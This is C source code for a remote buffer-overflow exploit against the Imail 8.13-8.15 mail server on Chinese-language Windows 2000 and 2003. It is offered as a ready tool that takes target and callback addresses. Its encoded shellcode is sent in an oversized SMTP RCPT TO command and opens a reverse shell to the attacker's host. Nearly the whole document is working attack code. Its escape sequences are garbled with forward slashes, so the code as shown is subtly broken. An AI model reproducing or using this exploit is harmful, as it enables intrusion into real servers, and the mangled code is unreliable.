Imail 8.13-8.15 的EXP (win2000 and win2k3 chinese version) 's

#include <stdio.h>
#include <winsock2.h>

#pragma comment( lib, "ws2_32" )

#define HELO "EHLO/r/n"
#define FROM "MAIL FROM <[email protected]>/r/n"

/*对shellcode进行编码解码*/
unsigned char shellcode[] =
/* decode */
"/x31/xc9/x83/xe9/xb8/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13"
/* decode key */
"/xbd/xd7/x50/x90"
"/x83/xeb/xfc/xe2/xf4"

/* shellcode */
"/x41/xbd/xbb/xdd/x55/x2e/xaf/x6f"
"/x42/xb7/xdb/xfc/x99/xf3/xdb/xd5/x81/x5c/x2c/x95/xc5/xd6/xbf/x1b"
"/xf2/xcf/xdb/xcf/x9d/xd6/xbb/xd9/x36/xe3/xdb/x91/x53/xe6/x90/x09"
"/x11/x53/x90/xe4/xba/x16/x9a/x9d/xbc/x15/xbb/x64/x86/x83/x74/xb8"
"/xc8/x32/xdb/xcf/x99/xd6/xbb/xf6/x36/xdb/x1b/x1b/xe2/xcb/x51/x7b"
"/xbe/xfb/xdb/x19/xd1/xf3/x4c/xf1/x7e/xe6/x8b/xf4/x36/x94/x60/x1b"
"/xfd/xdb/xdb/xe0/xa1/x7a/xdb/xd0/xb5/x89/x38/x1e/xf3/xd9/xbc/xc0"
"/x42/x01/x36/xc3/xdb/xbf/x63/xa2/xd5/xa0/x23/xa2/xe2/x83/xaf/x40"
"/xd5/x1c/xbd/x6c/x86/x87/xaf/x46/xe2/x5e/xb5/xf6/x3c/x3a/x58/x92"
"/xe8/xbd/x52/x6f/x6d/xbf/x89/x99/x48/x7a/x07/x6f/x6b/x84/x03/xc3"
"/xee/x94/x03/xd3/xee/x28/x80/xf8/x7d/x17/x90/x50/xdb/xbf/x77/x9f"
"/xdb/x84/xd9/x71/x28/xbf/xbc/x69/x17/xb7/x07/x6f/x6b/xbd/x40/xc1"
"/xe8/x28/x80/xf6/xd7/xb3/x36/xf8/xde/xba/x3a/xc0/xe4/xfe/x9c/x19"
"/x5a/xbd/x14/x19/x5f/xe6/x90/x63/x17/x42/xd9/x6d/x43/x95/x7d/x6e"
"/xff/xfb/xdd/xea/x85/x7c/xfb/x3b/xd5/xa5/xae/x23/xab/x28/x25/xb8"
"/x42/x01/x0b/xc7/xef/x86/x01/xc1/xd7/xd6/x01/xc1/xe8/x86/xaf/x40"
"/xd5/x7a/x89/x95/x73/x84/xaf/x46/xd7/x28/xaf/xa7/x42/x07/x38/x77"
"/xc4/x11/x29/x6f/xc8/xd3/xaf/x46/x42/xa0/xac/x6f/x6d/xbf/xa0/x1a"
"/xb9/x88/x03/x6f/x6b/x28/x80/x90";

void Usage( char *name )
{
printf( "/nCode by 云舒(ph4nt0m.org),thx luoluo(ph4nt0m.org)!/n" );
printf( "Test imail8.13,8.15 on win2000 and win2k3 chinese version./n" );
printf( "Dou you know who is icy? ^_^/n" );
printf( "/nUsage: %s <target_ip> <target_port> <cb_ip> <cb_port>/n", name );
}

int main( int argc, char *argv[] )
{
if( argc != 5 )
{
Usage( argv[0] );
return -1;
}

unsigned int cb_ip = inet_addr(argv[3]);

/* encode input ip by encode key */
cb_ip ^= 0x9050d7bd;

/* offset of ip is 0xb8 */
memcpy( (void *)(shellcode+0xb8), &cb_ip, 4 );

unsigned short cb_port = htons( atoi(argv[4]) );

/* encode input port by encode key */
cb_port ^= 0x9050;

/* offset of port is 0xbe */
memcpy( (void *)(shellcode + 0xbe), &cb_port, 2 );

/* 判断IP和port异或之后是否有特殊字符 */
unsigned char error_char[6] = { 0x00,0x0D,0x0A,0x20,0x3e,0x22 };
unsigned char sz_ip[4] = { 0 };
unsigned char sz_port[2] = { 0 };

memcpy(sz_ip, (void *)&cb_ip, 4);
memcpy(sz_port, (void *)&cb_port, 2);

for( int index = 0; index < 6; index ++ )
{
for (int j = 0; j < sizeof(sz_ip); j ++)
{
if (sz_ip[j] == error_char[index])
{
printf( "rpwt,haha,please change to another ip adress!/n" );
return -1;
}
}
for (int j = 0; j < sizeof(sz_port); j ++)
{
if (sz_port[j] == error_char[index])
{
printf( "rpwt,haha,please change to another port/n");
return -1;
}
}
}

WSAData wsa;
SOCKET sock;
struct sockaddr_in sin;
int ret;

ret = WSAStartup( 0x0202, &wsa );
if( ret != 0 )
{
printf( "WSAStartup error: %d/n", GetLastError() );
return -1;
}

sock = socket( AF_INET, SOCK_STREAM, 0 );
if( sock == INVALID_SOCKET )
{
printf( "Create socket error: %d/n", GetLastError() );

WSACleanup( );
return -1;
}

memset( &sin, 0, sizeof(struct sockaddr_in) );
sin.sin_addr.S_un.S_addr = inet_addr( argv[1] );
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(argv[2]) );

ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
if( ret == SOCKET_ERROR )
{
printf( "Connect error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}
printf( "Connect ok!/n" );

char recv_buf[512] = { 0 };

/* get banner */
ret = recv( sock, recv_buf, 512, 0 );
if( ret == SOCKET_ERROR )
{
printf( "Recv error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}
printf( "%s/n", recv_buf );

/* send hello */
ret = send( sock, HELO, strlen(HELO), 0 );
if( ret == SOCKET_ERROR )
{
printf( "Send error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}

/* recv */
memset( recv_buf, 0, 512 );
ret = recv( sock, recv_buf, 512, 0 );
if( ret == SOCKET_ERROR )
{
printf( "Recv error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}
printf( "%s/n", recv_buf );

/* send from */
ret = send( sock, FROM, strlen(FROM), 0 );
if( ret == SOCKET_ERROR )
{
printf( "Send error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}

/* recv */
memset( recv_buf, 0, 512 );
ret = recv( sock, recv_buf, 512, 0 );
if( ret == SOCKET_ERROR )
{
printf( "Recv error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}
printf( "%s/n", recv_buf );

char send_buf[1024] = { 0 };
char *ret_addr = "/xe1/x1e/xfa/x7f";

/* | 548 | */
/* RCPT TO <@:|x90.....shellcode|ret| */
strcat( send_buf, "RCPT TO <@:" );
for( int index = 1; index <= 548 - strlen((char *)shellcode); index ++ )
{
strcat( send_buf, "/x90" );
}
strcat( send_buf, (char *)shellcode );
strcat( send_buf, ret_addr );
strcat( send_buf, ">/r/n/r/n" );

/* send shellcode */
ret = send( sock, send_buf, strlen(send_buf), 0 );
if( ret == SOCKET_ERROR )
{
printf( "Send error: %d/n", GetLastError() );

closesocket( sock );
WSACleanup( );
return -1;
}
printf( "Send exploit %d bytes,check your listing port,good luck!/n", ret );